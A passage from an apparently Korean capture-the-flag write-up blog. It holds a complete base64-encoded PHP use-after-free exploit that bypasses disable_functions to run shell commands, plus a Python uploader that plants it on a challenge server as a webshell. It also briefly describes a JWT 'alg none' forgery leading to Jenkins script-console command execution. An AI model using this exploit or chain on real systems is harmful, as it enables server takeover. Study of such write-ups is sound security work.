ex = urlencode('''PD9waHANCg0KcHduKCIkX0dFVFtjY2NdIik7DQoNCmZ1bmN0aW9uIHB3bigkY21kKSB7DQogICAgZ2xvYmFsICRhYmMsICRoZWxwZXIsICRiYWNrdHJhY2U7DQoNCiAgICBjbGFzcyBWdWxuIHsNCiAgICAgICAgcHVibGljICRhOw0KICAgICAgICBwdWJsaWMgZnVuY3Rpb24gX19kZXN0cnVjdCgpIHsgDQogICAgICAgICAgICBnbG9iYWwgJGJhY2t0cmFjZTsgDQogICAgICAgICAgICB1bnNldCgkdGhpcy0+YSk7DQogICAgICAgICAgICAkYmFja3RyYWNlID0gKG5ldyBFeGNlcHRpb24pLT5nZXRUcmFjZSgpOyANCiAgICAgICAgICAgIGlmKCFpc3NldCgkYmFja3RyYWNlWzFdWydhcmdzJ10pKSB7DQogICAgICAgICAgICAgICAgJGJhY2t0cmFjZSA9IGRlYnVnX2JhY2t0cmFjZSgpOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgY2xhc3MgSGVscGVyIHsNCiAgICAgICAgcHVibGljICRhLCAkYiwgJGMsICRkOw0KICAgIH0NCg0KICAgIGZ1bmN0aW9uIHN0cjJwdHIoJiRzdHIsICRwID0gMCwgJHMgPSA4KSB7DQogICAgICAgICRhZGRyZXNzID0gMDsNCiAgICAgICAgZm9yKCRqID0gJHMtMTsgJGogPj0gMDsgJGotLSkgew0KICAgICAgICAgICAgJGFkZHJlc3MgPDw9IDg7DQogICAgICAgICAgICAkYWRkcmVzcyB8PSBvcmQoJHN0clskcCskal0pOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYWRkcmVzczsNCiAgICB9DQoNCiAgICBmdW5jdGlvbiBwdHIyc3RyKCRwdHIsICRtID0gOCkgew0KICAgICAgICAkb3V0ID0gIiI7DQogICAgICAgIGZvciAoJGk9MDsgJGkgPCAkbTsgJGkrKykgew0KICAgICAgICAgICAgJG91dCAuPSBjaHIoJHB0ciAmIDB4ZmYpOw0KICAgICAgICAgICAgJHB0ciA+Pj0gODsNCiAgICAgICAgfQ0KICAgICAgICByZXR1cm4gJG91dDsNCiAgICB9DQoNCiAgICBmdW5jdGlvbiB3cml0ZSgmJHN0ciwgJHAsICR2LCAkbiA9IDgpIHsNCiAgICAgICAgJGkgPSAwOw0KICAgICAgICBmb3IoJGkgPSAwOyAkaSA8ICRuOyAkaSsrKSB7DQogICAgICAgICAgICAkc3RyWyRwICsgJGldID0gY2hyKCR2ICYgMHhmZik7DQogICAgICAgICAgICAkdiA+Pj0gODsNCiAgICAgICAgfQ0KICAgIH0NCg0KICAgIGZ1bmN0aW9uIGxlYWsoJGFkZHIsICRwID0gMCwgJHMgPSA4KSB7DQogICAgICAgIGdsb2JhbCAkYWJjLCAkaGVscGVyOw0KICAgICAgICB3cml0ZSgkYWJjLCAweDY4LCAkYWRkciArICRwIC0gMHgxMCk7DQogICAgICAgICRsZWFrID0gc3RybGVuKCRoZWxwZXItPmEpOw0KICAgICAgICBpZigkcyAhPSA4KSB7ICRsZWFrICU9IDIgPDwgKCRzICogOCkgLSAxOyB9DQogICAgICAgIHJldHVybiAkbGVhazsNCiAgICB9DQoNCiAgICBmdW5jdGlvbiBwYXJzZV9lbGYoJGJhc2UpIHsNCiAgICAgICAgJGVfdHlwZSA9IGxlYWsoJGJhc2UsIDB4MTAsIDIpOw0KDQogICAgICAgICRlX3Bob2ZmID0gbGVhaygkYmFzZSwgMHgyMCk7DQogICAgICAgICRlX3BoZW50c2l6ZSA9IGxlYWsoJGJhc2UsIDB4MzYsIDIpOw0KICAgICAgICAkZV9waG51bSA9IGxlYWsoJGJhc2UsIDB4MzgsIDIpOw0KDQogICAgICAgIGZvcigkaSA9IDA7ICRpIDwgJGVfcGhudW07ICRpKyspIHsNCiAgICAgICAgICAgICRoZWFkZXIgPSAkYmFzZSArICRlX3Bob2ZmICsgJGkgKiAkZV9waGVudHNpemU7DQogICAgICAgICAgICAkcF90eXBlICA9IGxlYWsoJGhlYWRlciwgMCwgNCk7DQogICAgICAgICAgICAkcF9mbGFncyA9IGxlYWsoJGhlYWRlciwgNCwgNCk7DQogICAgICAgICAgICAkcF92YWRkciA9IGxlYWsoJGhlYWRlciwgMHgxMCk7DQogICAgICAgICAgICAkcF9tZW1zeiA9IGxlYWsoJGhlYWRlciwgMHgyOCk7DQoNCiAgICAgICAgICAgIGlmKCRwX3R5cGUgPT0gMSAmJiAkcF9mbGFncyA9PSA2KSB7IA0KICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICRkYXRhX2FkZHIgPSAkZV90eXBlID09IDIgPyAkcF92YWRkciA6ICRiYXNlICsgJHBfdmFkZHI7DQogICAgICAgICAgICAgICAgJGRhdGFfc2l6ZSA9ICRwX21lbXN6Ow0KICAgICAgICAgICAgfSBlbHNlIGlmKCRwX3R5cGUgPT0gMSAmJiAkcF9mbGFncyA9PSA1KSB7IA0KICAgICAgICAgICAgICAgICR0ZXh0X3NpemUgPSAkcF9tZW1zejsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KDQogICAgICAgIGlmKCEkZGF0YV9hZGRyIHx8ICEkdGV4dF9zaXplIHx8ICEkZGF0YV9zaXplKQ0KICAgICAgICAgICAgcmV0dXJuIGZhbHNlOw0KDQogICAgICAgIHJldHVybiBbJGRhdGFfYWRkciwgJHRleHRfc2l6ZSwgJGRhdGFfc2l6ZV07DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZ2V0X2Jhc2ljX2Z1bmNzKCRiYXNlLCAkZWxmKSB7DQogICAgICAgIGxpc3QoJGRhdGFfYWRkciwgJHRleHRfc2l6ZSwgJGRhdGFfc2l6ZSkgPSAkZWxmOw0KICAgICAgICBmb3IoJGkgPSAwOyAkaSA8ICRkYXRhX3NpemUgLyA4OyAkaSsrKSB7DQogICAgICAgICAgICAkbGVhayA9IGxlYWsoJGRhdGFfYWRkciwgJGkgKiA4KTsNCiAgICAgICAgICAgIGlmKCRsZWFrIC0gJGJhc2UgPiAwICYmICRsZWFrIC0gJGJhc2UgPCAkZGF0YV9hZGRyIC0gJGJhc2UpIHsNCiAgICAgICAgICAgICAgICAkZGVyZWYgPSBsZWFrKCRsZWFrKTsNCiAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICBpZigkZGVyZWYgIT0gMHg3NDZlNjE3NDczNmU2ZjYzKQ0KICAgICAgICAgICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgICAgIH0gZWxzZSBjb250aW51ZTsNCg0KICAgICAgICAgICAgJGxlYWsgPSBsZWFrKCRkYXRhX2FkZHIsICgkaSArIDQpICogOCk7DQogICAgICAgICAgICBpZigkbGVhayAtICRiYXNlID4gMCAmJiAkbGVhayAtICRiYXNlIDwgJGRhdGFfYWRkciAtICRiYXNlKSB7DQogICAgICAgICAgICAgICAgJGRlcmVmID0gbGVhaygkbGVhayk7DQogICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgaWYoJGRlcmVmICE9IDB4Nzg2NTY4MzI2ZTY5NjIpDQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgfSBlbHNlIGNvbnRpbnVlOw0KDQogICAgICAgICAgICByZXR1cm4gJGRhdGFfYWRkciArICRpICogODsNCiAgICAgICAgfQ0KICAgIH0NCg0KICAgIGZ1bmN0aW9uIGdldF9iaW5hcnlfYmFzZSgkYmluYXJ5X2xlYWspIHsNCiAgICAgICAgJGJhc2UgPSAwOw0KICAgICAgICAkc3RhcnQgPSAkYmluYXJ5X2xlYWsgJiAweGZmZmZmZmZmZmZmZmYwMDA7DQogICAgICAgIGZvcigkaSA9IDA7ICRpIDwgMHgxMDAwOyAkaSsrKSB7DQogICAgICAgICAgICAkYWRkciA9ICRzdGFydCAtIDB4MTAwMCAqICRpOw0KICAgICAgICAgICAgJGxlYWsgPSBsZWFrKCRhZGRyLCAwLCA3KTsNCiAgICAgICAgICAgIGlmKCRsZWFrID09IDB4MTAxMDI0NjRjNDU3ZikgeyANCiAgICAgICAgICAgICAgICByZXR1cm4gJGFkZHI7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBmdW5jdGlvbiBnZXRfc3lzdGVtKCRiYXNpY19mdW5jcykgew0KICAgICAgICAkYWRkciA9ICRiYXNpY19mdW5jczsNCiAgICAgICAgZG8gew0KICAgICAgICAgICAgJGZfZW50cnkgPSBsZWFrKCRhZGRyKTsNCiAgICAgICAgICAgICRmX25hbWUgPSBsZWFrKCRmX2VudHJ5LCAwLCA2KTsNCg0KICAgICAgICAgICAgaWYoJGZfbmFtZSA9PSAweDZkNjU3NDczNzk3MykgeyANCiAgICAgICAgICAgICAgICByZXR1cm4gbGVhaygkYWRkciArIDgpOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgJGFkZHIgKz0gMHgyMDsNCiAgICAgICAgfSB3aGlsZSgkZl9lbnRyeSAhPSAwKTsNCiAgICAgICAgcmV0dXJuIGZhbHNlOw0KICAgIH0NCg0KICAgIGZ1bmN0aW9uIHRyaWdnZXJfdWFmKCRhcmcpIHsNCiAgICAgICAgDQogICAgICAgICRhcmcgPSBzdHJfc2h1ZmZsZShzdHJfcmVwZWF0KCdBJywgNzkpKTsNCiAgICAgICAgJHZ1bG4gPSBuZXcgVnVsbigpOw0KICAgICAgICAkdnVsbi0+YSA9ICRhcmc7DQogICAgfQ0KDQogICAgaWYoc3RyaXN0cihQSFBfT1MsICdXSU4nKSkgew0KICAgICAgICBkaWUoJ1RoaXMgUG9DIGlzIGZvciAqbml4IHN5c3RlbXMgb25seS4nKTsNCiAgICB9DQoNCiAgICAkbl9hbGxvYyA9IDEwOyANCiAgICAkY29udGlndW91cyA9IFtdOw0KICAgIGZvcigkaSA9IDA7ICRpIDwgJG5fYWxsb2M7ICRpKyspDQogICAgICAgICRjb250aWd1b3VzW10gPSBzdHJfc2h1ZmZsZShzdHJfcmVwZWF0KCdBJywgNzkpKTsNCg0KICAgIHRyaWdnZXJfdWFmKCd4Jyk7DQogICAgJGFiYyA9ICRiYWNrdHJhY2VbMV1bJ2FyZ3MnXVswXTsNCg0KICAgICRoZWxwZXIgPSBuZXcgSGVscGVyOw0KICAgICRoZWxwZXItPmIgPSBmdW5jdGlvbiAoJHgpIHsgfTsNCg0KICAgIGlmKHN0cmxlbigkYWJjKSA9PSA3OSB8fCBzdHJsZW4oJGFiYykgPT0gMCkgew0KICAgICAgICBkaWUoIlVBRiBmYWlsZWQiKTsNCiAgICB9DQoNCiAgICANCiAgICAkY2xvc3VyZV9oYW5kbGVycyA9IHN0cjJwdHIoJGFiYywgMCk7DQogICAgJHBocF9oZWFwID0gc3RyMnB0cigkYWJjLCAweDU4KTsNCiAgICAkYWJjX2FkZHIgPSAkcGhwX2hlYXAgLSAweGM4Ow0KDQogICAgDQogICAgd3JpdGUoJGFiYywgMHg2MCwgMik7DQogICAgd3JpdGUoJGFiYywgMHg3MCwgNik7DQoNCiAgICANCiAgICB3cml0ZSgkYWJjLCAweDEwLCAkYWJjX2FkZHIgKyAweDYwKTsNCiAgICB3cml0ZSgkYWJjLCAweDE4LCAweGEpOw0KDQogICAgJGNsb3N1cmVfb2JqID0gc3RyMnB0cigkYWJjLCAweDIwKTsNCg0KICAgICRiaW5hcnlfbGVhayA9IGxlYWsoJGNsb3N1cmVfaGFuZGxlcnMsIDgpOw0KICAgIGlmKCEoJGJhc2UgPSBnZXRfYmluYXJ5X2Jhc2UoJGJpbmFyeV9sZWFrKSkpIHsNCiAgICAgICAgZGllKCJDb3VsZG4ndCBkZXRlcm1pbmUgYmluYXJ5IGJhc2UgYWRkcmVzcyIpOw0KICAgIH0NCg0KICAgIGlmKCEoJGVsZiA9IHBhcnNlX2VsZigkYmFzZSkpKSB7DQogICAgICAgIGRpZSgiQ291bGRuJ3QgcGFyc2UgRUxGIGhlYWRlciIpOw0KICAgIH0NCg0KICAgIGlmKCEoJGJhc2ljX2Z1bmNzID0gZ2V0X2Jhc2ljX2Z1bmNzKCRiYXNlLCAkZWxmKSkpIHsNCiAgICAgICAgZGllKCJDb3VsZG4ndCBnZXQgYmFzaWNfZnVuY3Rpb25zIGFkZHJlc3MiKTsNCiAgICB9DQoNCiAgICBpZighKCR6aWZfc3lzdGVtID0gZ2V0X3N5c3RlbSgkYmFzaWNfZnVuY3MpKSkgew0KICAgICAgICBkaWUoIkNvdWxkbid0IGdldCB6aWZfc3lzdGVtIGFkZHJlc3MiKTsNCiAgICB9DQoNCiAgICANCiAgICAkZmFrZV9vYmpfb2Zmc2V0ID0gMHhkMDsNCiAgICBmb3IoJGkgPSAwOyAkaSA8IDB4MTEwOyAkaSArPSA4KSB7DQogICAgICAgIHdyaXRlKCRhYmMsICRmYWtlX29ial9vZmZzZXQgKyAkaSwgbGVhaygkY2xvc3VyZV9vYmosICRpKSk7DQogICAgfQ0KDQogICAgDQogICAgd3JpdGUoJGFiYywgMHgyMCwgJGFiY19hZGRyICsgJGZha2Vfb2JqX29mZnNldCk7DQogICAgd3JpdGUoJGFiYywgMHhkMCArIDB4MzgsIDEsIDQpOyANCiAgICB3cml0ZSgkYWJjLCAweGQwICsgMHg2OCwgJHppZl9zeXN0ZW0pOyANCg0KICAgICgkaGVscGVyLT5iKSgkY21kKTsNCiAgICBleGl0KCk7DQp9''')

u = 'http://3.38.109.135:28344/data/72ced1fa15db322c3c900cba8f15cf46/test.php?c=echo%20file_put_contents(%27/tmp/arang101%27,file_get_contents(%27/tmp/arang101%27).&quot;{}&quot;);'

for i in range(0,len(ex),1000):
	r = requests.get(u.format(ex[i:i+1000]))
	time.sleep(1)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;대강 서버에 업로드 한 후&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1631616333604&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;file_put_contents(&quot;ex.php&quot;,str_replace(&quot;\r\n&quot;,&quot;\n&quot;,base64_decode(file_get_contents(&quot;/tmp/arang101&quot;))));&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;이런식으로 현재경로로 익스코드를 가져온다&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;이후 접근하면&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;602&quot; data-origin-height=&quot;326&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bmqpJS/btre0cTT5x0/ZAzeSiUbUHjs8SkkdisOfK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bmqpJS/btre0cTT5x0/ZAzeSiUbUHjs8SkkdisOfK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bmqpJS/btre0cTT5x0/ZAzeSiUbUHjs8SkkdisOfK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbmqpJS%2Fbtre0cTT5x0%2FZAzeSiUbUHjs8SkkdisOfK%2Fimg.png&quot; data-origin-width=&quot;602&quot; data-origin-height=&quot;326&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;웹쉘 업로드 가능&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;mini-realworld&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;첨에는 제공된 &lt;span&gt;react &lt;/span&gt;코드좀 보다가 무지성 &lt;span&gt;algo none &lt;/span&gt;바꿔치기 했는데 로그인이 되어버렸다&lt;span&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;1345&quot; data-origin-height=&quot;911&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/LUsqx/btreY4278UV/aPBGUK2DFHgkYe7SgTnZQK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/LUsqx/btreY4278UV/aPBGUK2DFHgkYe7SgTnZQK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/LUsqx/btreY4278UV/aPBGUK2DFHgkYe7SgTnZQK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FLUsqx%2FbtreY4278UV%2FaPBGUK2DFHgkYe7SgTnZQK%2Fimg.png&quot; data-origin-width=&quot;1345&quot; data-origin-height=&quot;911&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;Nickname&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;인 &lt;span&gt;Whitehat-NowYouSeeMe&lt;/span&gt;를&lt;span&gt; github&lt;/span&gt;에 검색해봤다&lt;span&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;602&quot; data-origin-height=&quot;326&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/co4OYg/btreY3wkGtK/Ia23KSfM2Kg5mThD3qK5uk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/co4OYg/btreY3wkGtK/Ia23KSfM2Kg5mThD3qK5uk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/co4OYg/btreY3wkGtK/Ia23KSfM2Kg5mThD3qK5uk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fco4OYg%2FbtreY3wkGtK%2FIa23KSfM2Kg5mThD3qK5uk%2Fimg.png&quot; data-origin-width=&quot;602&quot; data-origin-height=&quot;326&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ㄷㄷㄷ&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;602&quot; data-origin-height=&quot;326&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bCXQIs/btreZ0MUN4k/NeckrVCBuzBCKGEVbkel30/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bCXQIs/btreZ0MUN4k/NeckrVCBuzBCKGEVbkel30/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bCXQIs/btreZ0MUN4k/NeckrVCBuzBCKGEVbkel30/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbCXQIs%2FbtreZ0MUN4k%2FNeckrVCBuzBCKGEVbkel30%2Fimg.png&quot; data-origin-width=&quot;602&quot; data-origin-height=&quot;326&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ㄷㄷㄷㄷㄷㄷㄷ&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;352&quot; data-origin-height=&quot;95&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bG8bzM/btre5Oj7GRW/KueT3kjMESHj8wmOBw1wf0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bG8bzM/btre5Oj7GRW/KueT3kjMESHj8wmOBw1wf0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bG8bzM/btre5Oj7GRW/KueT3kjMESHj8wmOBw1wf0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbG8bzM%2Fbtre5Oj7GRW%2FKueT3kjMESHj8wmOBw1wf0%2Fimg.png&quot; data-origin-width=&quot;352&quot; data-origin-height=&quot;95&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;s3cret ㄷㄷㄷㄷㄷㄷㄷㄷㄷㄷㄷㄷㄷㄷㄷㄷㄷ&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;645&quot; data-origin-height=&quot;515&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dzXkiU/btre333ou60/TQUc8BjvkhfgQKuzcPKWU1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dzXkiU/btre333ou60/TQUc8BjvkhfgQKuzcPKWU1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dzXkiU/btre333ou60/TQUc8BjvkhfgQKuzcPKWU1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdzXkiU%2Fbtre333ou60%2FTQUc8BjvkhfgQKuzcPKWU1%2Fimg.png&quot; data-origin-width=&quot;645&quot; data-origin-height=&quot;515&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;젠킨스 ㄷㄷㄷㄷㄷㄷ 9999 ㄷㄷㄷㄷㄷㄷㄷㄷㄷㄷㄷㄷㄷㄷ&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;602&quot; data-origin-height=&quot;326&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bbG7kW/btre5OqSBe8/A7UozaM33YouBr6pzKGCvK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bbG7kW/btre5OqSBe8/A7UozaM33YouBr6pzKGCvK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bbG7kW/btre5OqSBe8/A7UozaM33YouBr6pzKGCvK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbbG7kW%2Fbtre5OqSBe8%2FA7UozaM33YouBr6pzKGCvK%2Fimg.png&quot; data-origin-width=&quot;602&quot; data-origin-height=&quot;326&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;찐킨스 9999포트 ㄷㄷㄷㄷㄷㄷㄷㄷㄷㄷㄷㄷㄷㄷㄷㄷㄷㄷㄷㄷㄷㄷㄷㄷㄷㄷㄷㄷㄷ&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;602&quot; data-origin-height=&quot;508&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Jj7xL/btre4NstkAx/mzQTUlLEp82okQ8m7tKp30/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Jj7xL/btre4NstkAx/mzQTUlLEp82okQ8m7tKp30/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Jj7xL/btre4NstkAx/mzQTUlLEp82okQ8m7tKp30/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FJj7xL%2Fbtre4NstkAx%2FmzQTUlLEp82okQ8m7tKp30%2Fimg.png&quot; data-origin-width=&quot;602&quot; data-origin-height=&quot;508&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;key&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;와 아까 얻은 &lt;span&gt;nickname&lt;/span&gt;으로&lt;span&gt; remote access&lt;/span&gt;해보면 결과가 잘 나온다&lt;span&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;a href=&quot;https://beaglesecurity.com/blog/domectf2020/timezone-writeup.html&quot;&gt;https://beaglesecurity.com/blog/domectf2020/timezone-writeup.html&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;a href=&quot;https://www.jenkins.io/doc/book/managing/script-console/&quot;&gt;https://www.jenkins.io/doc/book/managing/script-console/&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;a href=&quot;https://stackoverflow.com/questions/159148/groovy-executing-shell-commands&quot;&gt;https://stackoverflow.com/questions/159148/groovy-executing-shell-commands&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;위에거 링크들 참조해서 했다&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
